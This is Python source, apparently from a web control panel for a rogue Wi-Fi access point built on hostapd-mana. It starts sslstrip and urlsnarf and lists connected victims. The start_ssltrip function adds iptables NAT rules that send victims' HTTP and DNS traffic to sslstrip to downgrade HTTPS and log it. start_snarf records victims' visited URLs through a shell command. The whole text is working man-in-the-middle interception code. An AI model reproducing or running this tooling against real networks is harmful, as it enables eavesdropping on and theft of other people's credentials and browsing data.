def show_sslstrip(): status = {} form = SSLstripForm() status["pid"] = getPID(BIN_SSLSTRIP, script=True) # get list of already stored files. status["history_list"]=[] if os.path.isdir(HISTORY_DIR): status["history_list"] = sorted([f for f in os.listdir(HISTORY_DIR) if os.path.isfile(HISTORY_DIR+"/"+f)])[::-1] return render_template("sslstrip2_index.html", form=form, status=status)
def show_snarf(): status = {} status["pid"] = getPID("urlsnarf") status["interfaces"] = netifaces.interfaces() if "lo" in status["interfaces"]: status["interfaces"].remove("lo") status["logs"] = [] if isdir(LOGDIR): status["logs"] = sorted([ file_ for file_ in listdir(LOGDIR) if file_.endswith(".log") ])[::-1] return render_template("urlsnarf.html", status=status)
def show_clients(): client_filters = {} hostapd_conf = ConfigParser() hostapd_conf.readfp( readSectionlessConfig("root", Global.CONFIG_DIR + "/hostapd.conf")) if "macaddr_acl" in hostapd_conf["root"]: client_filters["mode"] = hostapd_conf["root"]["macaddr_acl"] # listing macs in accept list accept_list = ConfigParser(strict=False, allow_no_value=True, delimiters=(' ')) accept_list.readfp( readSectionlessConfig("root", Global.CONFIG_DIR + "/hostapd.accept")) client_filters["accept_list"] = list(accept_list["root"]) # listing macs in deny list deny_list = ConfigParser(strict=False, allow_no_value=True, delimiters=(' ')) deny_list.readfp( readSectionlessConfig("root", Global.CONFIG_DIR + "/hostapd.deny")) client_filters["deny_list"] = list(deny_list["root"]) else: client_filters = None # connected client to rougeap connect_clients = [] if getPID("hostapd") != -1: BIN_HOSTAPDCLI = Global.EXTERNAL_TOOLS_DIR + "/hostapd-mana/hostapd/hostapd_cli" connect_clients = HostapdCli.listConnected( BIN_HOSTAPDCLI, "/tmp/aceweb/dnsmasq.leases") return render_template("clients.html", client_filters=client_filters, connect_clients=connect_clients)
def start_snarf(): if getPID("urlsnarf") != -1: return "URLsnarf is already running" if "iface" not in request.args: return "Interface not specified" iface = str(request.args.get("iface")) if iface not in netifaces.interfaces(): flash("Invalid interface", "warning") return redirect(request.referrer) now = datetime.now() time_str = "%d:%d:%d@%d-%s-%d.log" % (now.hour, now.minute, now.second, now.day, now.strftime("%B"), now.year) sb.Popen("stdbuf -oL nohup urlsnarf -i" + iface + " > " + LOGDIR + "/" + time_str, shell=True) return redirect(request.referrer)
def start_ssltrip(): form = SSLstripForm(request.form) if form.validate_on_submit(): if getPID(BIN_SSLSTRIP, script=True) != -1: flash("Already running", "warning") return redirect( url_for("sslstrip_b.show_sslstrip") ) now = datetime.now() time_str = "%d-%d-%d" % (now.hour, now.minute, now.second) file_name = HISTORY_DIR + "/%s@%s.log" % (str(now.date()), time_str) port = str(form.port.data) log_option = str(form.log_option.data) cmd = ["python", BIN_SSLSTRIP, log_option] if form.favicon.data == True: cmd.append("-f") if form.killsessions.data == True: cmd.append("-k") cmd = cmd + ["-l", port, "-w", file_name] sb.call("iptables --table nat --append PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53",shell=True) sb.call("iptables --table nat --append PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port " + port,shell=True) print " ".join(cmd) sb.Popen(cmd, stdout=DN, stderr=DN) flash("Started Successfully on port : " + port, "success") else: flash_errors(form) return redirect( url_for("sslstrip_b.show_sslstrip") )